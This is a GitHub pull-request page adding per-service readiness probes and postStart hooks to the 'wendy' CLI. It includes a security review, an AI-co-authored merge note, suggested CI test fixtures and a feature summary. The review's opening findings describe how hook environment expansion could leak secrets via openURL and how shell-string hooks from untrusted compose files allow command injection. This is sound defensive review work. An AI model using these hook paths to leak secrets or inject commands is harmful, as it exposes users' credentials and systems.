os.Getenvfallback inexpandHookEnv— this is the highest-risk finding as it can silently exfiltrate secrets viaopenURL. - (HIGH) Add user-facing documentation (and ideally a runtime prompt) for
cli/agenthooks sourced fromx-wendyblocks in untrusted compose files. - (MEDIUM) Evaluate whether shell-string
clihooks should be replaced with a structuredcommand+argsform to eliminate the shell-injection surface.
Docs previewPreview this PR's docs at: https://docs.wendy.dev/branch-ed-wdy-1271-service-scoped-hooks-b216577acdd0cee812cc2f5158b8da000b9b1634/ This comment is updated automatically when the docs preview is redeployed. |
Resolves two collisions with main's per-service `env` feature: - wendy.schema.json: both sides added properties to the `service` def (main: `env`; this branch: `readiness`/`hooks`). Kept the union — the def is `additionalProperties: false`, so all 8 properties must be listed to match ServiceConfig's 8 fields. - multibuild.go: a clean-but-broken auto-merge. main added `svc := services[name]` + `Env: expandServiceEnv(svc)` to createService, while this branch refactored createService to read its config from the hoisted svcCfgs map, deleting the surrounding lines. git kept main's `Env:` line but dropped the `svc` it referenced, leaving `undefined: svc`. Restored the lookup: expandServiceEnv needs the raw ServiceConfig (for its Env map), which the derived svcCfgs entries don't carry. Verified: build + vet + gofmt clean, full suite green (56 pkgs), -race clean on the concurrent hook paths, and every line main added across the overlapping files is present in the result. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
There was a problem hiding this comment.
Note
Integration test review — automated suggestions from Claude. Apply, adapt, or dismiss as needed.
Per-service readiness probes and postStart hooks (x-wendy, services.<name>.readiness/hooks, app-level fallback, WENDY_SERVICE_NAME placeholder) are new in this PR but have no integration test coverage.
Three test scenarios need covering:
compose-xwendy— a compose service usingx-wendyreadiness +openURLhook (exercisesparseXWendy,buildComposeServiceConfigs, andWENDY_SERVICE_NAME)python-multiservice-hooks— awendy.jsonmulti-service app where one service declares per-servicereadiness/hooks(exercisesServiceConfig.Readiness/Hooks, service-scoped hook delivery,WENDY_SERVICE_NAME)compose-applevel-hooks— a compose project with a companionwendy.jsondeclaring top-levelreadiness/hooks(the app-level fallback path, exercisesappLevelLifecycleConfig, suppression ofpostStart.agentwith a warning)
.github/ci-tests/compose-xwendy/docker-compose.yml
services:
backend:
build: ./backend
ports:
- "17321:17321"
frontend:
build: ./frontend
ports:
- "17322:17322"
depends_on:
- backend
x-wendy:
readiness:
tcpSocket:
port: 17322
timeoutSeconds: 30
hooks:
postStart:
cli: "echo wendy-hook-fired WENDY_SERVICE_NAME=${WENDY_SERVICE_NAME} WENDY_APP_ID=${WENDY_APP_ID}".github/ci-tests/compose-xwendy/backend/Dockerfile
FROM python:3.11-slim
WORKDIR /app
COPY main.py .
ENV PYTHONUNBUFFERED=1
CMD ["python3", "main.py"].github/ci-tests/compose-xwendy/backend/main.py
#!/usr/bin/env python3
"""Backend service for compose-xwendy CI test.
Binds TCP 17321, prints a ready line, then idles. The frontend service
depends_on this one, so Wendy starts backend first.
"""
import socket
import sys
import time
PORT = 17321
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", PORT))
srv.listen(8)
print(f"backend: listening on {PORT}", flush=True)
# Stay alive long enough for the test harness.
time.sleep(120).github/ci-tests/compose-xwendy/frontend/Dockerfile
FROM python:3.11-slim
WORKDIR /app
COPY main.py .
ENV PYTHONUNBUFFERED=1
CMD ["python3", "main.py"].github/ci-tests/compose-xwendy/frontend/main.py
#!/usr/bin/env python3
"""Frontend service for compose-xwendy CI test.
Binds TCP 17322 so the x-wendy tcpSocket readiness probe succeeds,
then prints environment variables the test harness asserts on.
"""
import os
import socket
import time
PORT = 17322
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", PORT))
srv.listen(8)
# Print env vars that the hook placeholder expansion relies on.
# The integration harness checks that WENDY_SERVICE_NAME is "frontend"
# (not empty and not the legacy <project>-<service> form) and that
# WENDY_APP_ID matches the project name.
app_id = os.environ.get("WENDY_APP_ID", "")
svc_name = os.environ.get("WENDY_SERVICE_NAME", "")
hostname = os.environ.get("WENDY_HOSTNAME", "")
print(f"WENDY_APP_ID={app_id}", flush=True)
print(f"WENDY_SERVICE_NAME={svc_name}", flush=True)
print(f"WENDY_HOSTNAME={hostname}", flush=True)
if not svc_name:
print("FAIL: WENDY_SERVICE_NAME is empty for a multi-service compose app", flush=True)
raise SystemExit(1)
if svc_name != "frontend":
print(f"FAIL: expected WENDY_SERVICE_NAME=frontend, got {svc_name!r}", flush=True)
raise SystemExit(1)
print("PASS: x-wendy service env vars correct", flush=True)
# Stay alive so the readiness probe can connect.
time.sleep(120).github/ci-tests/python-multiservice-hooks/wendy.json
{
"appId": "sh.wendy.ci.python-multiservice-hooks",
"version": "1.0.0",
"services": {
"worker": {
"context": "worker"
},
"api": {
"context": "api",
"dependsOn": ["worker"],
"readiness": {
"tcpSocket": { "port": 17330 },
"timeoutSeconds": 30
},
"hooks": {
"postStart": {
"cli": "echo wendy-hook-fired service=${WENDY_SERVICE_NAME} app=${WENDY_APP_ID}"
}
}
}
}
}.github/ci-tests/python-multiservice-hooks/worker/Dockerfile
FROM python:3.11-slim
WORKDIR /app
COPY main.py .
ENV PYTHONUNBUFFERED=1
CMD ["python3", "main.py"].github/ci-tests/python-multiservice-hooks/worker/main.py
#!/usr/bin/env python3
"""Worker service for python-multiservice-hooks CI test.
No readiness/hooks declared on this service — only `api` has them.
This validates scoping: the worker's startup is never gated by api's probe.
"""
import os
import time
svc = os.environ.get("WENDY_SERVICE_NAME", "")
app = os.environ.get("WENDY_APP_ID", "")
print(f"worker: WENDY_SERVICE_NAME={svc!r} WENDY_APP_ID={app!r}", flush=True)
if svc != "worker":
print(f"FAIL: expected WENDY_SERVICE_NAME=worker, got {svc!r}", flush=True)
raise SystemExit(1)
print("worker: ready", flush=True)
time.sleep(120).github/ci-tests/python-multiservice-hooks/api/Dockerfile
FROM python:3.11-slim
WORKDIR /app
COPY main.py .
ENV PYTHONUNBUFFERED=1
CMD ["python3", "main.py"].github/ci-tests/python-multiservice-hooks/api/main.py
#!/usr/bin/env python3
"""API service for python-multiservice-hooks CI test.
Declares per-service readiness (tcpSocket port 17330) and a postStart cli hook
in wendy.json. This service binds that port so the probe succeeds, then
validates WENDY_SERVICE_NAME is correctly scoped to this service only.
"""
import os
import socket
import time
PORT = 17330
svc = os.environ.get("WENDY_SERVICE_NAME", "")
app = os.environ.get("WENDY_APP_ID", "")
hostname = os.environ.get("WENDY_HOSTNAME", "")
print(f"api: WENDY_SERVICE_NAME={svc!r} WENDY_APP_ID={app!r} WENDY_HOSTNAME={hostname!r}", flush=True)
if svc != "api":
print(f"FAIL: expected WENDY_SERVICE_NAME=api, got {svc!r}", flush=True)
raise SystemExit(1)
# Bind the port so the readiness probe succeeds.
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", PORT))
srv.listen(8)
print(f"api: listening on {PORT} — readiness probe should succeed", flush=True)
print("PASS: per-service WENDY_SERVICE_NAME and readiness port correct", flush=True)
time.sleep(120).github/ci-tests/compose-applevel-hooks/docker-compose.yml
services:
svc-a:
build: ./svc-a
ports:
- "17340:17340"
svc-b:
build: ./svc-b
depends_on:
- svc-a.github/ci-tests/compose-applevel-hooks/wendy.json
{
"appId": "sh.wendy.ci.compose-applevel-hooks",
"version": "1.0.0",
"readiness": {
"tcpSocket": { "port": 17340 },
"timeoutSeconds": 30
},
"hooks": {
"postStart": {
"cli": "echo app-level-hook-fired WENDY_APP_ID=${WENDY_APP_ID} WENDY_SERVICE_NAME=${WENDY_SERVICE_NAME}"
}
}
}Note on
postStart.agent: The companion intentionally omitshooks.postStart.agenthere. That field would trigger the newcomposeAppLevelAgentHookDroppedwarning path; a separate negative test can cover that warning once the test harness supports asserting on stderr output. Theclihook above is sufficient to verify the app-level fallback fires exactly once after all services start.
.github/ci-tests/compose-applevel-hooks/svc-a/Dockerfile
FROM python:3.11-slim
WORKDIR /app
COPY main.py .
ENV PYTHONUNBUFFERED=1
CMD ["python3", "main.py"].github/ci-tests/compose-applevel-hooks/svc-a/main.py
#!/usr/bin/env python3
"""svc-a for compose-applevel-hooks CI test.
Binds TCP 17340 so the top-level companion readiness probe succeeds.
The app-level fallback (companion wendy.json top-level readiness/hooks)
fires once after BOTH svc-a and svc-b have started.
"""
import os
import socket
import time
PORT = 17340
svc = os.environ.get("WENDY_SERVICE_NAME", "")
app = os.environ.get("WENDY_APP_ID", "")
print(f"svc-a: WENDY_APP_ID={app!r} WENDY_SERVICE_NAME={svc!r}", flush=True)
# In a grouped multi-service compose app, WENDY_SERVICE_NAME must be the
# service name (not empty, not the legacy <project>-<service> form).
if svc != "svc-a":
print(f"FAIL: expected WENDY_SERVICE_NAME=svc-a, got {svc!r}", flush=True)
raise SystemExit(1)
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", PORT))
srv.listen(8)
print(f"svc-a: listening on {PORT}", flush=True)
print("PASS: svc-a env vars correct", flush=True)
time.sleep(120).github/ci-tests/compose-applevel-hooks/svc-b/Dockerfile
FROM python:3.11-slim
WORKDIR /app
COPY main.py .
ENV PYTHONUNBUFFERED=1
CMD ["python3", "main.py"].github/ci-tests/compose-applevel-hooks/svc-b/main.py
#!/usr/bin/env python3
"""svc-b for compose-applevel-hooks CI test.
No per-service x-wendy readiness or hooks — only the app-level companion
fallback applies. Validates WENDY_SERVICE_NAME is correctly set to "svc-b"
and that this service starts independently of svc-a's probe result.
"""
import os
import time
svc = os.environ.get("WENDY_SERVICE_NAME", "")
app = os.environ.get("WENDY_APP_ID", "")
print(f"svc-b: WENDY_APP_ID={app!r} WENDY_SERVICE_NAME={svc!r}", flush=True)
if svc != "svc-b":
print(f"FAIL: expected WENDY_SERVICE_NAME=svc-b, got {svc!r}", flush=True)
raise SystemExit(1)
print("PASS: svc-b env vars correct", flush=True)
time.sleep(120)go/scripts/test-ci.sh — add to ALL_TESTS
ALL_TESTS=(
swift-hello
swift-network
swift-bluetooth
swift-resources
python-hello
python-network
python-gpu
python-onnx-gpu
python-bluetooth
python-no-network
python-no-bluetooth
python-no-ptrace
python-no-unshare
python-no-kexec-module
python-network-host-admin
python-no-net-admin
python-resources
python-multiservice
python-multiservice-resources
python-multiservice-hooks # NEW: per-service readiness/hooks in wendy.json (WDY-1271)
python-servicename
compose-hello
compose-images
compose-companion
compose-xwendy # NEW: x-wendy per-service readiness/hooks + WENDY_SERVICE_NAME (WDY-1271)
compose-applevel-hooks # NEW: companion top-level readiness/hooks app-level fallback (WDY-1271)
otel-localhost-only
python-device-top
).github/workflows/integration-tests.yml — add to for t in ... list (Linux omits swift-*)
# macOS runner — all tests including swift-*
for t in swift-hello swift-network swift-bluetooth swift-resources \
python-hello python-network python-gpu python-onnx-gpu \
python-bluetooth python-no-network python-no-bluetooth \
python-no-ptrace python-no-unshare python-no-kexec-module \
python-network-host-admin python-no-net-admin python-resources \
python-multiservice python-multiservice-resources \
python-multiservice-hooks \
python-servicename \
compose-hello compose-images compose-companion \
compose-xwendy compose-applevel-hooks \
otel-localhost-only python-device-top; do
# Linux runner — omit swift-* tests
for t in python-hello python-network python-gpu python-onnx-gpu \
python-bluetooth python-no-network python-no-bluetooth \
python-no-ptrace python-no-unshare python-no-kexec-module \
python-network-host-admin python-no-net-admin python-resources \
python-multiservice python-multiservice-resources \
python-multiservice-hooks \
python-servicename \
compose-hello compose-images compose-companion \
compose-xwendy compose-applevel-hooks \
otel-localhost-only python-device-top; do
Summary
Multi-service and Compose apps can now declare per-service readiness probes and postStart hooks, and top-level
readiness/hooksin a multi-servicewendy.jsonact as an app-level fallback that fires once after all services start. This fixes the motivating case:Examples/WendyMCnow auto-opens its web UI afterwendy run(its existing companionwendy.jsonworks unchanged via the fallback).Closes WDY-1271.
What's new
services.<name>.readiness/services.<name>.hooksin multi-servicewendy.json(ServiceConfiggains both fields, with service-prefixed validation and the openURL-portability lint).x-wendy: { readiness, hooks }compose service extension, parsed with wendy.json's exact camelCase keys; a companionwendy.json'sservices.<name>entries override it wholesale per field.dependsOn);postStart.agentmetadata is attached only to the declaring service's start RPC (StartContainer AND AttachContainer, including the Unimplemented fallback). No proto changes — the hook rides existing per-RPC gRPC metadata, so old agents are unaffected.readiness/hooksfire once after ALL services start (probed against the device host). Top-levelpostStart.agentis ignored for multi-service apps with a warning (no app-level container exists). Fallback is skipped on--servicesubset runs and suppressed if the run ends before readiness (no browser opened at a dead stack).clihook children); detached runs wait readiness sequentially in dependency order after the detached-mode message, hooks outlive the CLI, readiness failures warn but never fail the command.WENDY_SERVICE_NAMEhook placeholder alongsideWENDY_HOSTNAME/WENDY_APP_ID.compose.md,wendy-services.md,wendy.json.md, WendyMC README (plus fixes for a stale/-separator claim and previously-undocumentedpostStart.openURL).Tests
frontenddeclares; agent-hook metadata asserted on exactly that service; detached + attached).go test ./...green,-raceclean on the concurrent paths,gofmtclean.Verification status
-don real hardware, a scratch x-wendy project (agent hook confirmed viawendy device logs), and a single-container regression pass.🤖 Generated with Claude Code